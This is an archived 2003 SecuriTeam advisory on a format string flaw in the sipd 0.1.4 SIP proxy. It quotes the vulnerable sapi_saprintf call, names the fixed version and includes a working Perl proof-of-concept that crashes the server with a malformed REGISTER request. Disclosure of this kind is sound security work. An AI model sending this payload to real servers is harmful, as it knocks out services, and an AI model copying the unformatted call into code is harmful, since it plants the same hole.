[UNIX] sipD Format String Vulnerability

From: SecuriTeam (support_at_securiteam.com)
Date: 12/14/03

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Date: 14 Dec 2003 15:39:10 +0200

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      sipD Format String Vulnerability
    ------------------------------------------------------------------------

    SUMMARY

     <http://www.sxdesign.com/index.php?page=developer&submnu=sipd> sipd is "a
    high performance, scalable SIP (Session Initiation Protocol) proxy and
    location server written in C". A format string vulnerability in the
    product allows remote attackers to cause the server to execute arbitrary
    code by providing it with a specially crafted SIP request.

    DETAILS

    Vulnerable systems:
     * sipd version 0.1.4

    Immune systems:
     * sipd version 0.1.5

    Vulnerable code:
    In strans/strans.c, line:
    static inline u8_t *strans_hash_key_compat(const msg_t *req, bool_t
    cancel)

    The program incorrectly calls sapi_saprintf without any parameters:
        /* Request URI */
        tmp = msg_url_str(req->request->url);
        sapi_saprintf(&hkey, tmp);
        sapi_free(tmp);

    This means that a URI that includes format strings can cause the remote
    server to execute arbitrary code due to insufficient formatting being
    passed to the printf() function.

    Solution:
    Upgrade to version 0.1.5, which is available at:
    <http://www.sxdesign.com/index.php?page=developer&submnu=sipd>
    http://www.sxdesign.com/index.php?page=developer&submnu=sipd.

    Exploit:
    #!/usr/bin/perl

    # SIPd - SIP Password Format String
    # Kills sipd version 0.1.4 and prior

    use IO::Socket;
    use strict;

    unless (@ARGV == 2) { die "usage: $0 host your_ip [port]" }

    my $remote_host = shift(@ARGV);
    my $your_host = shift(@ARGV);
    my $port = shift(@ARGV);
    if ($port eq "")
    {
     $port = "5060";
    }

    my $buf = "REGISTER sip::%s%s%s%s%s%s%s%s%s%s%s%s%s%s\@$remote_host
    SIP/2.0\r\
    Via: SIP/2.0/UDP $your_host:3277\r\
    From: \"STORM\" <sip:$your_host:3277>\r\
    To: <sip:$your_host:3277>\r\
    Call-ID: 12312312\@$your_host\r\
    CSeq: 1 OPTIONS\r\
    Max-Forwards: 70\r\
    \r\n";

    my $socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error:
    $@\n";
    my $ipaddr = inet_aton($remote_host) || $remote_host;
    my $portaddr = sockaddr_in($port, $ipaddr);

    send($socket, $buf, 0, $portaddr) == length($buf) or die "Can't send:
    $!\n";

    print "Now, '$remote_host' must be dead :)\n";

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

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